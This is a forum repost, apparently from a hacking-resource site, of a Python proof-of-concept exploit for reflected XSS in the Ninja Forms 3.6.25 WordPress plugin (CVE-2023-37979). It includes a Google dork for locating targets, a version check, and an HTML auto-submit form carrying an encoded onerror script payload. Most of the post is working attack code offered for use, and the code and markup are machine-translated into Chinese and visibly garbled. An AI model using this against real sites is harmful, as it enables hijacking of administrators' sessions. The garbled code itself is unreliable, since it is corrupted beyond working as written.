H

WordPress插件忍者表格3.6.25-反射XSS

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#Exploit Title: WordPress插件忍者表单3.6.25-反射XSS(身份验证)
#Google Dork: inurl:/wp-content/plugins/ninja-forms/readme.txt
#日期: 2023-07-27
#利用作者: Mehran Seifalinia
#供应商HomePage3360 https://ninjaforms.com/
#软件link: https://downloads.wordpress.org/plugin/ninja-forms.3.6.25.zip
#版本: 3.6.25
#测试在: Windows 10
#CVE: CVE-2023-37979
从请求点数获取
从系统导入argv
从OS Import GetCWD
导入WebBrowser
从时间进口睡眠
#值:
url=argv [-1]
如果URL [-1]=='/':
url=url.rstrip('/')
#常数
cve_name='CVE-2023-37979'
bulnerable_version='3.6.25'
#HTML模板
html_template=f'''!doctype html
! - 由Mehran Seifalinia创建的-
html

标题{cve_name}/title
风格
身体{{
font-family: Arial,sans-serif;
Background-Color:#f7f7f7;
color:#333;
Margin: 0;
padding: 0;
}}}
标头{{
背景-Color:#4CAF50;
padding: 10px;
Text-Align:中心;
color:白色;
字体-SIZE: 24px;
}}}
.cool button {{{
背景-Color:#007BFF;
color:白色;
padding: 10px 20px;
边界:无;
CURSOR:指针;
字体-SIZE: 16px;
Border-Radius: 4Px;
}}}
.cool button3:Hover {{{
Background-Color:#0056B3;
}}}
/风格
/头
身体
标题
忍者形式反映XSS({cve_name})/br
由Mehran Seifalinia创建
/标题
div样式='padding: 20px;'
form action='{url}/wp-admin/admin-ajax.php'method='post'
输入类型='隐藏'名称='action'value='nf#95; batch#95; process' /
输入类型='隐藏'名='批次#95; type'value='import#95; form#95; template'//template'//
输入type='隐藏'名称='security'value='e29f2d8dca' /
输入类型='隐藏'名称='feltradata#91; template#93;'值='FormTemplate#45; contactformd' /
输入type='隐藏'名称='方法#95; Override'value='#95; revert' /
输入类型='隐藏'名称='data'值='Mehran'#125;#125; img#32; src#61; Seifalinia#32; OnError#61; arter#40; string#46; string#46; fromCharCode#40; 78#44; 105#44; 105#44; 110#44; 106; 106; 106; 106; 44;97#44;45#44;102#44;111#44;114#44;109#44;115#44;32#44;114#44;101#44;102#44;108#44;101#44;99#44;116#44;101#44;100#44;32#44 ; 88#44; 83#44; 83#44; 83#44; 10#45#44; 50#48#44; 51#45#44; 55#44; 57#44; 57#44; 57#44; 10#45#45#44#44; 7 7#44:101; 104; 114; 97#44; 110; 32; 83; 101; 105; 102; 102; 97#44; 108; 105; 105; 110; 110; 105; 105; 97#45》;' /
输入type='submit'class='cool button'value='单击此处执行XSS' /
/形式
/div
div style='背景color:red; color:white; padding:1%;'单击按钮后,如果您收到0或在浏览器中收到一个空页面,则意味着您需要先登录。/div。
页脚
a href='https://github.com/mehran-seifalinia'github/a
/br
a href='https://ww.linkedin.com/in/mehran-seifalinia-63577a1b6/?oiltersSubdomain=ir'linkedin/a
/页脚
/身体
/html
'''
def exploit():
使用poc:的打开(f'v'v'iver {cve_name} .html','w')
poc.write(html_template)
print(f'[@] POC在{getcwd()}} \ {cve_name} .html')上生成POC
打印('^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ors》
睡眠(2)
webbrowser.open(f'{getcwd()}} \ {cve_name} .html')
#检查是否已安装了脆弱版本
def check_cve():
TRY:
响应=get(url +'/wp-content/plugins/ninja-forms/readme.txt')
如果响应。STATUS_CODE!=200或不('ninja forms'in wenders.text):
print('[!] Ninja-Forms插件尚未在此站点上安装。')
返回false
其他:
版本=response.text.split('稳定tag:')[1] .split('license')[0] .split()[0]
main_version=int(version.split('。')[0])
partial_version=int(version.split('。')[1])
final_version=int(version.split('。')[2])
if(main_version 3)或(main_version==3和partial_version 6)或(main_version==3和partial_version==6和final_version=25):
print(f'[*]脆弱的非Ja-Forms版本{version}检测到!')
返回true
其他:
print(f'[!] nonja-forms版本{version}不脆弱!')
返回false
除例外为错误:
打印(f'[!] error: {error}')
出口()
#检查脚本的语法
def check_script():
用法=f'''
USAGE: {argv [0] .split('/')[ - 1] .split('/')[ - 1]} [options] [options] [target]
Options:
-Exploit:打开浏览器并执行漏洞。
Target:
URL以“ http://”或“ https://”开头
示例:
{argv [0] .split('/')[ - 1]} https://vulnsite.com
{argv [0] .split('/')[ - 1]} - exploit https://vulnsite.com
'''
TRY:
如果Len(argv)2或Len(argv)3:
打印('[!]语法错误.')
打印(用法)
出口()
elif不是url.startswith(元组(['http://','https://'])):
打印('[!]无效目标. \ n \ ttarget最初以'http://'或'https://'')开头
出口()
其他:
对于argv:中的arg
如果arg==argv [0] :
打印('[*]启动脚本')
状态=check_cve()
如果状态==false:
出口()
elif arg.lower()==' - exploit':
开发()
elif arg==url:
继续
其他:
print(f'[!]什么是命令中的'{arg}')
除例外为错误:
打印(f'[!] error: {error}')
出口()
如果name=='__ -Main __':
check_script()
 
后退
顶部